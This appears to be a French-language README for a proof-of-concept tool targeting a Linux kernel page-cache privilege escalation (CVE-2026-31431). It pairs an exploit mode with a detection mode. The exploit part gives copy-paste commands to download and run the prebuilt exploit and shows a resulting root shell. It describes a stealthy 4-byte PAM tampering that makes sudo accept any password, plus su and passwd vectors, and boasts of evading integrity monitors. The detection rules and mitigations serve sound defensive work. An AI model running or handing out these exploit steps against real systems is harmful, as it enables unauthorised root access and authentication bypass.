
CopyFail (CVE-2026-31431) : PoC d'élévation de privilèges dans le cache de pages du noyau Linux + le seul outil de détection public. Nouveau vecteur de contournement d'authentification PAM + règles Sigma/auditd/eBPF.
PoC multi-vecteur + détection associée pour CVE-2026-31431 (CopyFail). Inclut un nouveau vecteur de contournement d'authentification PAM qu'aucun autre PoC public ne fournit. Le mode détection repère ce qu'AIDE / Wazuh / OSSEC / Tripwire ne peuvent structurellement pas voir.
Binaire statique unique. ~108 Ko. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Une seule commande. Shell root. Killshot PAM sous le capot (écriture unique de 4 octets dans /etc/pam.d/common-auth), chute PTY en root via sudo avec mot de passe jeté. La ligne [sudo] password for noot: s'affiche brièvement, sudo affiche toujours cette invite ; le binaire lui fournit n'importe quelle chaîne et l'échec de pam_unix cascade à travers le pam_deny.so commenté vers pam_permit.so → root.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← ce qui est réellement chargé (muté)
disk: 117dab1c... ← ce qu'AIDE / Wazuh / Tripwire voient (propre)
Voilà le projet. Disque propre, cache muté. Chaque FIM public est aveugle. Pas cet outil.
Binaires statiques pré-compilés sur la release v0.1.0. Choisissez votre architecture, téléchargez, exécutez.
# x86_64 (la plupart des laptops + serveurs cloud)
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Autres architectures :
| Arch | Fichier |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
Vérifier l'intégrité :
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt
Binaires musl statiques, aucune dépendance d'exécution, fonctionnent sur tout Linux.
Mutation du cache de pages. Aucun écrit VFS. Aucune page sale. Aucun événement inotify. Le rescan périodique entre en course avec l'éviction.
AIDE/Wazuh/OSSEC/Tripwire/Samhain lisent via I/O bufferisé → cache de pages → hachent les octets mutés comme vérité. Ou après éviction, hachent le disque propre → « aucun changement ne s'est jamais produit ».
La détection nécessite O_DIRECT (ignorer le cache) + lecture bufferisée (toucher le cache) + diff de hachage. Discordance = signature CopyFail. C'est --scan.
Sélection automatique : --vector auto (défaut). Classe pam > su > passwd par furtivité. Repli en cas d'échec.
--json partout pour l'ingestion SIEM.
detection/ :
sigma/copyfail-af-alg.yml, règle Sigma, à déposer dans votre SIEMauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, one-liner bpftraceapparmor/copyfail-block.profile, règle de refus AppArmor 3.0+mitigation/disable-algif.sh, blacklist modprobe + avertissement =yecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
Ou kernel mainline a664bf3d603d (avril 2026). À ce jour : seuls Debian Sid/Forky l'ont livré. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle = tous vulnérables.
Mise en garde : CONFIG_CRYPTO_USER_API_AEAD=y (intégré) contourne silencieusement modprobe. --check avertit.
Après exploitation + atténuation : la mutation du cache persiste jusqu'au redémarrage. L'atténuation bloque les NOUVELLES exploitations, ne défait pas les précédentes.
cargo build --release --target x86_64-unknown-linux-musl
| Cible | Taille |
|---|---|
| x86_64-musl | 108 Ko |
| aarch64-musl | 96 Ko |
| armv7-musleabihf | 86 Ko |
no_std. Aucun allocateur. Aucune dépendance d'exécution. Binaire statique unique.
Artefacts pré-compilés et sommes SHA256 joints aux releases GitHub.
Voir docs/usage.md pour des exemples concrets d'un écran par mode (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).
Pour une version narrative plus longue de ce README (plus de contexte, exposition plus approfondie), voir BLOG.md.
Voir docs/threat-model.md.
Matériel personnel uniquement. Aucune barrière CLI (théâtre de sécurité). README + LICENSE = le cadre.
Le mode détection est en lecture seule. Sûr en production.
Le mode exploitation mute le cache de pages du kernel. RAM uniquement mais à traiter comme destructif. Bloque l'authentification pour tout appelant ultérieur.
CVE-2026-31431 divulguée par Theori / Xint le 2026-04-29 (writeup, blog Xint). PoC publics antérieurs :
Ce projet (copyfail-rs) : ajoute le vecteur de contournement d'authentification PAM, la détection double mode, les artefacts IR.
MIT.
a664bf3d603d72548b093ee3 (4.14, août 2017)| Vecteur | Cible | Où ça atterrit |
|---|
pam (NOUVEAU) | /etc/pam.d/common-auth (Debian/Ubuntu) ou system-auth (Fedora/RHEL/Arch) | 4 octets. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo avec n'importe quel mot de passe = root. |
su | /usr/bin/su | Muter le texte du binaire setuid. execve → root. |
passwd | /etc/passwd | Bascule UID → l'utilisateur devient root à la prochaine connexion. Casse SSH pour cet utilisateur. |
| Mode | Quoi |
|---|
--check | Kernel + module + CONFIG_CRYPTO_USER_API_AEAD + statut d'atténuation. Verdict : vulnérable / atténué / sûr. |
--scan | Diff O_DIRECT vs lecture bufferisée sur les fichiers critiques. Ramification statfs() : ext4/xfs/btrfs utilisent O_DIRECT, overlayfs se replie, tmpfs ignoré. |
--baseline / --diff | Instantané d'un état connu propre. Diff ultérieur. Deltas uniquement en cache = l'empreinte CopyFail. |
--watch | Démon. Scan périodique. SIGTERM propre. |
--hunt | Balayage de flotte SSH. Agrégats JSON. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| Vecteurs | su | su + passwd | su | su + passwd + PAM (nouveau) |
| Détection | aucune | aucune | aucune | --mode detect complet |
| Artefacts IR | aucun | aucun | aucun | Sigma + auditd + eBPF + AppArmor |
| UX opérateur | 3 cmd | 4 cmd | 5 cmd | 1 cmd |
| Binaire | nécessite Python | ~10 Ko | ~5 Mo | ~108 Ko statique |